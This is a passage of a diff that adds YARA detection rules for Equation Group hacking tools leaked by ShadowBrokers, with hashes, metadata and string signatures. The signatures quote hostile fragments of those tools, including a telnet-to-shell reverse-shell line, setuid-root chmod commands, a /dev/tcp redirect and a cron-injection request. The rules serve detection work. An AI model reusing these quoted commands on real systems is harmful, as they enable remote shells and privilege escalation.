+      $x1 = "T=<target IP> [O=<port>] Y=<target type>" fullword ascii
+      $x2 = "no command given!! bailing..." fullword ascii
+      $x3 = "no port. assuming 22..." fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_ratload {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file ratload"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "4a4a8f2f90529bee081ce2188131bac4e658a374a270007399f80af74c16f398"
+      id = "81590569-e81b-5d97-8295-cc6f018fab98"
+   strings:
+      $x1 = "/tmp/ratload.tmp.sh" fullword ascii
+      $x2 = "Remote Usage: /bin/telnet locip locport < /dev/console | /bin/sh\"" fullword ascii
+      $s6 = "uncompress -f ${NAME}.Z && PATH=. ${ARGS1} ${NAME} ${ARGS2} && rm -f ${NAME}" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_ys {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file ys.auto"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "a6387307d64778f8d9cfc60382fdcf0627cde886e952b8d73cc61755ed9fde15"
+      id = "abd120e7-23f8-530e-b21e-c50a2b571332"
+   strings:
+      $x1 = "EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\"" fullword ascii
+      $x3 = "DEFTARGET=`head /current/etc/opscript.txt 2>/dev/null | grepip 2>/dev/null | head -1`" fullword ascii
+      $x4 = "FATAL ERROR: -x port and -n port MUST NOT BE THE SAME." fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+rule EquationGroup_ewok {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file ewok"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "567da502d7709b7814ede9c7954ccc13d67fc573f3011db04cf212f8e8a95d72"
+      id = "379c233f-86f8-5116-a15c-8a80b27daea6"
+   strings:
+      $x1 = "Example: ewok -t target public" fullword ascii
+      $x2 = "Usage:  cleaner host community fake_prog" fullword ascii
+      $x3 = "-g  - Subset of -m that Green Spirit hits " fullword ascii
+      $x4 = "--- ewok version" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 80KB and 1 of them )
+}
+
+rule EquationGroup_xspy {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file xspy"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "841e065c9c340a1e522b281a39753af8b6a3db5d9e7d8f3d69e02fdbd662f4cf"
+      id = "fcb7246a-d613-51d7-a4f7-f767fa5f79e1"
+   strings:
+      $s1 = "USAGE: xspy -display <display> -delay <usecs> -up" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 60KB and all of them )
+}
+
+rule EquationGroup_estesfox {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file estesfox"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "33530cae130ee9d9deeee60df9292c00242c0fe6f7b8eedef8ed09881b7e1d5a"
+      id = "f2e8b8ba-af09-5e7c-a99c-4f620a0917c9"
+   strings:
+      $x1 = "chown root:root x;chmod 4777 x`' /tmp/logwatch.$2/cron" fullword ascii
+   condition:
+      all of them
+}
+
+rule EquationGroup_elatedmonkey_1_0_1_1 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file elatedmonkey.1.0.1.1.sh"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      modified = "2022-08-18"
+      hash1 = "bf7a9dce326604f0681ca9f7f1c24524543b5be8b6fcc1ba427b18e2a4ff9090"
+      id = "d8915305-2ed7-50b7-84d0-b139a6d3481a"
+   strings:
+      $s1 = "Usage: $0 ( -s IP PORT | CMD )" fullword ascii
+      $s2 = "os.execl(\"/bin/sh\", \"/bin/sh\", \"-c\", \"$CMD\")" fullword ascii
+      $s3 = "PHP_SCRIPT=\"$HOME/public_html/info$X.php\"" fullword ascii
+      $s4 = "cat > /dev/tcp/127.0.0.1/80 <<" ascii
+   condition:
+      filesize < 15KB and 2 of them
+}
+
+rule EquationGroup_scanner {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file scanner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
+      id = "b2f9c534-0ca7-5223-b85e-8e74c3cfa6ff"
+   strings:
+      $x1 = "program version netid     address             service         owner" fullword ascii
+      $x4 = "*** Sorry about the raw output, I'll leave it for now" fullword ascii
+      $x5 = "-scan winn %s one" fullword ascii
+   condition:
+      filesize < 250KB and 1 of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule EquationGroup__ftshell_ftshell_v3_10_3_0 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
+      hash2 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
+      id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
+   strings:
+      $s1 = "set uRemoteUploadCommand \"[exec cat /current/.ourtn-ftshell-upcommand]\"" fullword ascii
+      $s2 = "send \"\\[ \\\"\\$BASH\\\" = \\\"/bin/bash\\\" -o \\\"\\$SHELL\\\" = \\\"/bin/bash\\\" \\] &&" ascii
+      $s3 = "system rm -f /current/tmp/ftshell.latest" fullword ascii
+      $s4 = "# ftshell -- File Transfer Shell" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 100KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup__scanner_scanner_v2_1_2 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files scanner, scanner.v2.1.2"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "dcbcd8a98ec93a4e877507058aa26f0c865b35b46b8e6de809ed2c4b3db7e222"
+      hash2 = "9807aaa7208ed6c5da91c7c30ca13d58d16336ebf9753a5cea513bcb59de2cff"
+      id = "bf1f2119-f742-5106-96f0-de88755275ef"
+   strings:
+      $s1 = "Welcome to the network scanning tool" fullword ascii
+      $s2 = "Scanning port %d" fullword ascii
+      $s3 = "/current/down/cmdout/scans" fullword ascii
+      $s4 = "Scan for SSH version" fullword ascii
+      $s5 = "program vers proto   port  service" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 100KB and 2 of them ) or ( all of them )
+}
+
+rule EquationGroup__ghost_sparc_ghost_x86_3 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files ghost_sparc, ghost_x86"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "d5ff0208d9532fc0c6716bd57297397c8151a01bf4f21311f24e7a72551f9bf1"
+      hash2 = "82c899d1f05b50a85646a782cddb774d194ef85b74e1be642a8be2c7119f4e33"
+      id = "ccc9c9be-8f78-5071-a11e-47f994cf8f08"
+   strings:
+      $x1 = "Usage: %s [-v os] [-p] [-r] [-c command] [-a attacker] target" fullword ascii
+      $x2 = "Sending shellcode as part of an open command..." fullword ascii
+      $x3 = "cmdshellcode" fullword ascii
+      $x4 = "You will not be able to run the shellcode. Exiting..." fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 70KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup__pclean_v2_1_1_pclean_v2_1_1_4 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files pclean.v2.1.1.0-linux-i386, pclean.v2.1.1.0-linux-x86_64"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "cdb5b1173e6eb32b5ea494c38764b9975ddfe83aa09ba0634c4bafa41d844c97"
+      hash2 = "ab7f26faed8bc2341d0517d9cb2bbf41795f753cd21340887fc2803dc1b9a1dd"
+      id = "ed4a3b3a-0935-533b-80dd-ee23b2e8df00"
+   strings:
+      $s1 = "-c cmd_name:     strncmp() search for 1st %d chars of commands that " fullword ascii
+      $s2 = "e.g.: -n 1-1024,1080,6666,31337 " fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 50KB and all of them )
+}
+
+rule EquationGroup__jparsescan_parsescan_5 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files jparsescan, parsescan"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "8c248eec0af04300f3ba0188fe757850d283de84cf42109638c1c1280c822984"
+      hash2 = "942c12067b0afe9ebce50aa9dfdbf64e6ed0702d9a3a00d25b4fca62a38369ef"
+      id = "964a4e49-9163-5dd6-bb2c-88fa39d5f356"
+   strings:
+      $s1 = "# default is to dump out all scanned hosts found" fullword ascii
+      $s2 = "$bool .= \" -r \" if (/mibiisa.* -r/);" fullword ascii
+      $s3 = "sadmind is available on two ports, this also works)" fullword ascii
+      $s4 = "-x IP      gives \\\"hostname:# users:load ...\\\" if positive xwin scan" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 40KB and 1 of them ) or ( 2 of them )
+}
+
+rule EquationGroup__funnelout_v4_1_0_1 {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files funnelout.v4.1.0.1.pl"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash2 = "457ed14e806fdbda91c4237c8dc058c55e5678f1eecdd78572eff6ca0ed86d33"
+      id = "b0c42b06-8314-5731-b333-59bb90785cf4"
+   strings:
+      $s1 = "header(\"Set-Cookie: bbsessionhash=\" . \\$hash . \"; path=/; HttpOnly\");" fullword ascii
+      $s2 = "if ($code =~ /proxyhost/) {" fullword ascii
+      $s3 = "\\$rk[1] = \\$rk[1] - 1;" ascii
+      $s4 = "#existsUser($u) or die \"User '$u' does not exist in database.\\n\";" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 100KB and 2 of them ) or ( all of them )
+}
+
+rule EquationGroup__magicjack_v1_1_0_0_client {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files magicjack_v1.1.0.0_client-1.1.0.0.py"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "63292a2353275a3bae012717bb500d5169cd024064a1ce8355ecb4e9bfcdfdd1"
+      id = "be18f36c-3d6c-53a3-89b6-bfc53e1dd87d"
+   strings:
+      $s1 = "temp = ((left >> 1) ^ right) & 0x55555555" fullword ascii
+      $s2 = "right ^= (temp <<  16) & 0xffffffff" fullword ascii
+      $s3 = "tempresult = \"\"" fullword ascii
+      $s4 = "num = self.bytes2long(data)" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 80KB and 3 of them ) or ( all of them )
+}
+
+rule EquationGroup__ftshell {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- from files ftshell, ftshell.v3.10.3.7"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      super_rule = 1
+      hash1 = "9bebeb57f1c9254cb49976cc194da4be85da4eb94475cb8d813821fb0b24f893"
+      hash4 = "0be739024b41144c3b63e40e46bab22ac098ccab44ab2e268efc3b63aea02951"
+      id = "6a2db0a0-386f-5ea6-b0bc-e28ed2fd53d5"
+   strings:
+      $s1 = "if { [string length $uRemoteUploadCommand]" fullword ascii
+      $s2 = "processUpload" fullword ascii
+      $s3 = "global dothisreallyquiet" fullword ascii
+   condition:
+      ( uint16(0) == 0x2123 and filesize < 100KB and 2 of them ) or ( all of them )
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-09
+   Identifier: Equation Group hack tools leaked by ShadowBrokers
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_store_linux_i386_v_3_3_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "abc27fda9a0921d7cf2863c29768af15fdfe47a0b3e7a131ef7e5cc057576fbc"
+      id = "b88be148-5308-583a-b41e-2bea9b837e2a"
+   strings:
+      $s1 = "[-] Failed to map file: %s" fullword ascii
+      $s2 = "[-] can not NULL terminate input data" fullword ascii
+      $s3 = "[!] Name has size of 0!" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 60KB and all of them )
+}
+
+rule EquationGroup_morerats_client_genkey {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "0ce455fb7f46e54a5db9bef85df1087ff14d2fc60a88f2becd5badb9c7fe3e89"
+      id = "fb305be7-9e16-502e-89ca-a40bb6890404"
+   strings:
+      $x1 = "rsakey_txt = lo_execute('openssl genrsa 2048 2> /dev/null | openssl rsa -text 2> /dev/null')" fullword ascii
+      $x2 = "client_auth = binascii.hexlify(lo_execute('openssl rand 16'))" fullword ascii
+   condition:
+      ( filesize < 3KB and all of them )
+}
+
+rule EquationGroup_cursetingle_2_0_1_2_mswin32_v_2_0_1 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "614bf159b956f20d66cedf25af7503b41e91841c75707af0cdf4495084092a61"
+      id = "7a1870ba-d600-5c11-8d3d-41395ad8be63"
+   strings:
+      $s1 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+      $s2 = "0123456789abcdefABCEDF:" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_cursesleepy_mswin32_v_1_0_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "6293439b4b49e94f923c76e302f5fc437023c91e063e67877d22333f05a24352"
+      id = "f60ff218-1cb7-5f44-a756-1ee67649e6a6"
+   strings:
+      $s1 = "A}%j,R" fullword ascii
+      $op1 = { a1 e0 43 41 00 8b 0d 34 44 41 00 6b c0 } /* Opcode */
+      $op2 = { 33 C0 F3 A6 74 14 8B 5D 08 8B 4B 34 50 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 2 of them )
+}
+
+rule EquationGroup_cursehelper_win2k_i686_v_2_2_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "5ac6fde8a06f4ade10d672e60e92ffbf78c4e8db6b5152e23171f6f53af0bfe1"
+      id = "1c24aa6a-74ab-5832-876b-5cab43dc6bb7"
+   strings:
+      $s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/{}" fullword ascii
+
+      $op1 = { 8d b5 48 ff ff ff 89 34 24 e8 56 2a 00 00 c7 44 } /* Opcode */
+      $op2 = { e9 a2 f2 ff ff ff 85 b4 fe ff ff 8b 95 a8 fe ff } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
+}
+
+rule EquationGroup_morerats_client_addkey {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "6c67c03716d06a99f20c1044585d6bde7df43fee89f38915db0b03a42a3a9f4b"
+      id = "a025e379-c24e-56ac-b53c-bd38d51f3437"
+   strings:
+      $x1 = "print '  -s storebin  use storebin as the Store executable\\n'" fullword ascii
+      $x2 = "os.system('%s --file=\"%s\" --wipe > /dev/null' % (storebin, b))" fullword ascii
+      $x3 = "print '  -k keyfile   the key text file to inject'" fullword ascii
+   condition:
+      ( filesize < 20KB and 1 of them )
+}
+
+rule EquationGroup_noclient_3_3_2 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "3cf0eb010c431372af5f32e2ee8c757831215f8836cabc7d805572bb5574fc72"
+      id = "be7c4263-e8e3-5a83-9003-063225e544ff"
+   strings:
+      $x1 = "127.0.0.1 is not advisable as a source. Use -l 127.0.0.1 to override this warning" fullword ascii
+      $x2 = "iptables -%c OUTPUT -p tcp -d 127.0.0.1 --tcp-flags RST RST -j DROP;" fullword ascii
+      $x3 = "noclient: failed to execute %s: %s" fullword ascii
+      $x4 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+      $s5 = "Attempting connection from 0.0.0.0:" ascii
+   condition:
+      ( filesize < 1000KB and 1 of them )
+}
+
+rule EquationGroup_curseflower_mswin32_v_1_0_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "fdc452629ff7befe02adea3a135c3744d8585af890a4301b2a10a817e48c5cbf"
+      id = "4138f87a-4584-5efc-a168-633838893e2f"
+   strings:
+      $s1 = "<pVt,<et(<st$<ct$<nt" fullword ascii
+
+      $op1 = { 6a 04 83 c0 08 6a 01 50 e8 10 34 00 00 83 c4 10 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_tmpwatch {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "65ed8066a3a240ee2e7556da74933a9b25c5109ffad893c21a626ea1b686d7c1"
+      id = "2c8cac7a-761f-59f4-bc04-285af4dbe184"
+   strings:
+      $s1 = "chown root:root /tmp/.scsi/dev/bin/gsh" fullword ascii
+      $s2 = "chmod 4777 /tmp/.scsi/dev/bin/gsh" fullword ascii
+   condition:
+      ( filesize < 1KB and 1 of them )
+}
+
+rule EquationGroup_orleans_stride_sunos5_9_v_2_4_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "6a30efb87b28e1a136a66c7708178c27d63a4a76c9c839b2fc43853158cb55ff"
+      id = "ec83e1c0-91a9-5f9d-a1d2-94be725bc05a"
+   strings:
+      $s1 = "_lib_version" ascii
+      $s2 = ",%02d%03d" fullword ascii
+      $s3 = "TRANSIT" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_morerats_client_noprep {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "a5b191a8ede8297c5bba790ef95201c516d64e2898efaeb44183f8fdfad578bb"
+      id = "27e9e51a-c853-5dcc-97d2-d3d31c5ccfac"
+   strings:
+      $x1 = "storestr = 'echo -n \"%s\" | Store --nullterminate --file=\"%s\" --set=\"%s\"' % (nopenargs, outfile, VAR_NAME)" fullword ascii
+      $x2 = "The NOPEN-args provided are injected into infile if it is a valid" fullword ascii
+      $x3 = " -i                do not autokill after 5 hours" fullword ascii
+   condition:
+      ( filesize < 9KB and 1 of them )
+}
+
+rule EquationGroup_cursezinger_linuxrh7_3_v_2_0_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "af7c7d03f59460fa60c48764201e18f3bd3f72441fd2e2ff6a562291134d2135"
+      id = "d4cab478-da1e-54ef-995a-897d1813619e"
+   strings:
+      $s1 = ",%02d%03d" fullword ascii
+      $s2 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+      $s3 = "__strtoll_internal" ascii
+      $s4 = "__strtoul_internal" ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 400KB and all of them )
+}
+
+rule EquationGroup_seconddate_ImplantStandalone_3_0_3 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "d687aa644095c81b53a69c206eb8d6bdfe429d7adc2a57d87baf8ff8d4233511"
+      id = "08b1aa88-8731-51db-b659-96147f509bcd"
+   strings:
+      $s1 = "EFDGHIJKLMNOPQRSUT" fullword ascii
+      $s2 = "G8HcJ HcF LcF0LcN" fullword ascii
+      $s3 = "GhHcJ0HcF@LcF0LcN8H" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 1000KB and all of them )
+}
+
+rule EquationGroup_watcher_solaris_i386_v_3_3_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "395ec2531970950ffafde234dded0cce0c95f1f9a22763d1d04caa060a5222bb"
+      id = "e75c6ed9-b6e6-530d-a6ac-40bd0477754f"
+   strings:
+      $s1 = "getexecname" fullword ascii
+      $s2 = "invalid option `" fullword ascii
+      $s6 = "__fpstart" ascii
+      $s12 = "GHFIJKLMNOPQRSTUVXW" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 700KB and all of them )
+}
+
+rule EquationGroup_gr_dev_bin_now {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "f5ed8312fc6e624b04e1e2d6614f3c651c9e9902ff41f4d069c32caca0869fa4"
+      id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+   strings:
+      $x1 = "HTTP_REFERER=\"https://127.0.0.1:6655/cgi/redmin?op=cron&action=once\"" fullword ascii
+      $x2 = "exec /usr/share/redmin/cgi/redmin" fullword ascii
+   condition:
+      ( filesize < 1KB and 1 of them )
+}
+
+rule EquationGroup_gr_dev_bin_post {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "c1546155efa95dbc4e3cc95299a3968fc075f89d33164e78b00b76c7d08a0591"
+      id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+   strings:
+      $x1 = "op=cron&action=once&frame=cronOnceFrame&cronK=cronV&cronCommand=%2Ftmp%2Ftmpwatch&time=12%3A12+01%2F28%2F2005" ascii
+   condition:
+      ( filesize < 1KB and all of them )
+}
+
+rule EquationGroup_curseyo_win2k_v_1_0_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "5dc77614764b23a38610fdd8abe5b2274222f206889e4b0974a3fea569055ed6"
+      id = "8161907d-d6bd-58c5-806d-387321b93b21"
+   strings:
+      $s1 = "0123456789abcdefABCEDF:" fullword ascii
+
+      $op0 = { c6 06 5b 8b bd 70 ff ff ff 8b 9d 64 ff ff ff 0f } /* Opcode */
+      $op1 = { 55 b8 ff ff ff ff 89 e5 83 ec 28 89 7d fc 8b 7d } /* Opcode */
+      $op2 = { ff 05 10 64 41 00 89 34 24 e8 df 1e 00 00 e9 31 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_gr {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-09"
+      hash1 = "d3cd725affd31fa7f0e2595f4d76b09629918612ef0d0307bb85ade1c3985262"
+      id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+   strings:
+      $s1 = "if [ -f /tmp/tmpwatch ] ; then" fullword ascii
+      $s2 = "echo \"bailing. try a different name\"" fullword ascii
+   condition:
+      ( filesize < 1KB and all of them )
+}
+
+rule EquationGroup_curseroot_win2k_v_2_1_0 {
+   meta:
+      description = "Equation Group hack tool set"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
